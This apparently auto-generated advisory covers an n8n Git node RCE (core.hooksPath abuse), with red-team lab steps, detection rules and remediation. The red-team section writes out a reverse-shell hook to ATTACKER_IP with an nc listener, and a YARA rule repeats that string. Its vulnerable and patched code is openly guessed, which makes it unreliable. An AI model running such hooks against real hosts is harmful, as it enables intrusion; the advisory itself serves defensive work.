CVE-2025-65964

Executive Summary

CVE-2025-65964 is a critical Remote Code Execution (RCE) vulnerability in n8n, an open-source workflow automation platform. The flaw resides in the Git node's "Add Config" operation, which allows authenticated users with workflow creation or modification privileges to set arbitrary Git configuration values. By setting core.hooksPath to a directory containing a malicious Git hook, an attacker can execute arbitrary commands on the n8n host during subsequent Git operations (e.g., clone, pull). This vulnerability affects n8n versions 0.123.1 through 1.119.1 and is fixed in version 1.119.2. The CVSS score is 0.0 due to incomplete NVD data, but based on the impact, it is estimated to be critical (CVSS 9.9). No public proof-of-concept (PoC) or exploit code is available at this time.

Supply Chain & Package Security

n8n is distributed as an npm package (n8n). Users who install n8n via npm are affected if they use a vulnerable version. The vulnerability is not in the npm package itself but in the application's Git node functionality. However, supply chain risks include:

• Malicious npm packages that mimic n8n or its dependencies.
• Compromised Git repositories used in workflows that could trigger the exploit.
• Dependency confusion if n8n's dependencies are not properly pinned.

CVSS Breakdown & Threat Level

While the official CVSS score is 0.0, a realistic assessment based on the vulnerability's impact is:

• Attack Vector (AV): Network (N) – The Git node is accessible over the network.
• Attack Complexity (AC): Low (L) – No special conditions required.
• Privileges Required (PR): Low (L) – Requires authenticated access to create/modify workflows.
• User Interaction (UI): None (N) – No user interaction needed.
• Scope (S): Unchanged (U) – The vulnerable component is the n8n host.
• Confidentiality (C): High (H) – Full system compromise possible.
• Integrity (I): High (H) – Arbitrary command execution.
• Availability (A): High (H) – Potential for denial of service.

Estimated CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Estimated Score: 8.8 (High) to 9.9 (Critical)

Threat Level: Critical. Exploitation allows full remote code execution on the n8n host, leading to data exfiltration, lateral movement, and persistent access.

Deep Dive & Mechanics

The vulnerability is in the Git node's "Add Config" operation. This operation allows users to set Git configuration values for a repository. Git configuration includes options like core.hooksPath, which specifies the directory where Git looks for hooks (scripts that run before or after Git commands). By setting core.hooksPath to a directory containing a malicious hook (e.g., pre-commit), an attacker can execute arbitrary commands when a Git operation (like git commit or git pull) is performed.

Attack Flow:

1. Prerequisite: The attacker has access to an n8n instance and can create or modify workflows using the Git node.
2. Setup: The attacker creates a workflow that uses the Git node's "Add Config" operation to set core.hooksPath to a directory they control (e.g., a repository they own or a path on the n8n host).
3. Malicious Hook: The attacker places a malicious script (e.g., a reverse shell) in that directory, named according to Git hook conventions (e.g., pre-commit).
4. Trigger: The attacker triggers a Git operation (e.g., clone, pull, commit) via the Git node. Git executes the malicious hook, running the attacker's commands on the n8n host.

Root Cause: The Git node does not sanitize or restrict the Git configuration keys that can be set via the "Add Config" operation. Specifically, it allows setting core.hooksPath, which is a security-sensitive option.

Vulnerable vs. Patched Code

Vulnerable Code (n8n < 1.119.2): The Git node's "Add Config" operation likely uses a function like git config --add <key> <value> without any validation. For example:

// Vulnerable: No validation on key or value
await exec(`git config --add ${key} ${value}`);

Patched Code (n8n >= 1.119.2): The fix likely adds a blocklist or allowlist for Git configuration keys. For example:

// Patched: Block security-sensitive keys
const blockedKeys = ['core.hooksPath', 'core.gitProxy', 'core.sshCommand'];
if (blockedKeys.includes(key)) {
  throw new Error(`Setting Git config key '${key}' is not allowed.`);
}
await exec(`git config --add ${key} ${value}`);

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

1. Environment: Deploy a vulnerable n8n instance (version 1.119.1 or earlier) using Docker:

   docker run -d --name n8n -p 5678:5678 n8nio/n8n:1.119.1
   

2. Access: Log in to n8n (default credentials or create an account).
3. Create a Workflow:
   • Add a Git node.
   • Configure it to connect to a repository you control (e.g., on GitHub).
   • Use the "Add Config" operation to set core.hooksPath to a directory containing a malicious hook.

Exploit Steps:

1. Create Malicious Hook: On your attacker machine, create a file named pre-commit with a reverse shell payload:

   #!/bin/bash
   bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1
   

2. Host the Hook: Serve the hook via a web server or place it in a Git repository.
3. Set Config: In the n8n workflow, use the Git node to set core.hooksPath to the URL or path of the directory containing the hook.
4. Trigger Git Operation: Use the Git node to perform a git pull or git commit on the repository.
5. Receive Shell: On your attacker machine, listen for the reverse shell:

   nc -lvnp 4444
   

Expected Outcome: A reverse shell on the n8n host.

Blue Team (Defender)

Detection:

• Monitor Git node usage in n8n logs for unusual core.hooksPath configurations.
• Alert on any Git operations that involve external repositories.
• Use endpoint detection and response (EDR) to monitor for suspicious process execution (e.g., git config with hooksPath).

Prevention:

• Upgrade n8n to version 1.119.2 or later.
• Restrict access to the Git node to trusted users only.
• Implement network segmentation to limit n8n's access to external repositories.
• Use a web application firewall (WAF) to block requests containing core.hooksPath.

Indicators of Compromise (IOCs)

• Network:
  • Outbound connections to attacker-controlled IPs on common ports (e.g., 4444, 8080).
  • Unusual Git repository URLs in n8n logs.
• Host:
  • Presence of unexpected files in Git hooks directories (e.g., .git/hooks/pre-commit).
  • Execution of git config commands with core.hooksPath in process logs.
  • Reverse shell processes (e.g., bash, nc, python).
• Logs:
  • n8n workflow execution logs showing Git node operations with core.hooksPath.
  • System logs showing git config commands with suspicious arguments.

Detection Engineering

YARA Rule

rule CVE_2025_65964_Git_Hooks_RCE {
  meta:
    description = "Detects malicious Git hooks or configs related to CVE-2025-65964"
    author = "Valters IT"
    date = "2025-04-10"
    reference = "CVE-2025-65964"
  strings:
    $hook_path = "core.hooksPath" nocase
    $git_config = "git config" nocase
    $pre_commit = "pre-commit" nocase
    $post_commit = "post-commit" nocase
    $bash_rev = "bash -i >& /dev/tcp/" nocase
  condition:
    ($hook_path and $git_config) or ($pre_commit and $bash_rev) or ($post_commit and $bash_rev)
}

Sigma Rule

title: CVE-2025-65964 - Git Hooks RCE via n8n
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-65964 by setting core.hooksPath in n8n Git node.
author: Valters IT
date: 2025-04-10
references:
  - https://nvd.nist.gov/vuln/detail/CVE-2025-65964
logsource:
  product: n8n
  service: workflow
detection:
  selection:
    EventID: 1001  # Example: n8n workflow execution event
    WorkflowNode: "Git"
    Operation: "Add Config"
    ConfigKey: "core.hooksPath"
  condition: selection
falsepositives:
  - Legitimate use of custom hooks by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-65964 - n8n Git Hooks RCE"; flow:to_server,established; content:"core.hooksPath"; http_client_body; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade n8n to version 1.119.2 or later.
2. Disable the Git node if not required (see n8n documentation for node exclusion).
3. Review all workflows using the Git node for any suspicious configurations.

Long-term Mitigations:

• Implement strict access controls for workflow creation and modification.
• Use a Git proxy or firewall to restrict outbound Git operations.
• Regularly audit n8n logs for unusual Git node activity.
• Apply the principle of least privilege to n8n users.

Workarounds (if patching is not possible):

• Exclude the Git node from n8n (see n8n documentation).
• Avoid cloning or interacting with untrusted repositories using the Git node.

Report generated by Valters IT DevSecOps & CTI Expert System